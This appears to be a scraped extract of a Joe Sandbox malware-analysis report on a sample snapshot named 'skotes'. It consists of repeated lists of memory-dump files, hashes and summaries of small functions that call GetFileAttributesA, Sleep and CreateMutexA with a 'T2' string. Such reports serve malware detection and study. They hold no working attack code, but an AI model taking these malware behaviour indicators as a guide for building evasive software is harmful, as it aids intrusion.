Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: cc3c245d0a3d6daaa45f689a8e8d02284c321792e3bf337e1de4eb171ea6b456
Instruction ID: eb153b13461b9268ea4a62e9da3e6a4d5f2748ca8a11c87beb77ba0865133615
Opcode Fuzzy Hash: cc3c245d0a3d6daaa45f689a8e8d02284c321792e3bf337e1de4eb171ea6b456
Instruction Fuzzy Hash: A9314A317002009FEF19DBBCDC89B6DB76AEBC7314F248219E094A73D5CB7699818752

Function 0003A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A2E6
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: 05764a80de5ffd4a82deec81b00fe1dbe3bf192fb18cf724b6fb53a90586ca30
Instruction ID: f8c155f4191fa9c2403936fc1bcf274ef7c033bbd58c43d5a185d6b42d6d82b0
Opcode Fuzzy Hash: 05764a80de5ffd4a82deec81b00fe1dbe3bf192fb18cf724b6fb53a90586ca30
Instruction Fuzzy Hash: 513148717002009BEF19DB7CDC89B6DB77AEBC3314F248219E055A73D5CB369A818752

Function 0003A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A41B
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: 2fab84173f5025acc6418f2804f867088122983beae7604db540448ad052eeb4
Instruction ID: 41bc98c3fb9434a7e916ca10befad8ef546c0e8d8f51ba55e68568f6bd0f6e08
Opcode Fuzzy Hash: 2fab84173f5025acc6418f2804f867088122983beae7604db540448ad052eeb4
Instruction Fuzzy Hash: 53314A317002009BEB09DBB8DC8DBADB76AEFC3314F248219E094E73D6DB7599808752

Function 0003A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A550
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: dc61063169ac2edf642ba7e28b92b2f1ed17384406483480ef7b5d518f2810b8
Instruction ID: 7d54014e2bd86ec362b28f9e9fecfc3fe5304ec88c88bb40c43e5a155a071b88
Opcode Fuzzy Hash: dc61063169ac2edf642ba7e28b92b2f1ed17384406483480ef7b5d518f2810b8
Instruction Fuzzy Hash: 80315D317002008BEB09DB78DC89BADB76AEFC7314F248619E095E73D6CB359981C752

Function 0003A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A685
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: ef615a2255c21982dede88865ed86e8a45c316cbf216c5e973d0f614d05cebfb
Instruction ID: 8fa26983e7e7fde1bc639b5951c1c8408977b591c417f190301dfee91fa70b56
Opcode Fuzzy Hash: ef615a2255c21982dede88865ed86e8a45c316cbf216c5e973d0f614d05cebfb
Instruction Fuzzy Hash: 643126717042008BEB09DB78DCC9BADB76AEBC7324F248219E094A73D6CB359981C752

Function 0003A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0003A7BA
Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
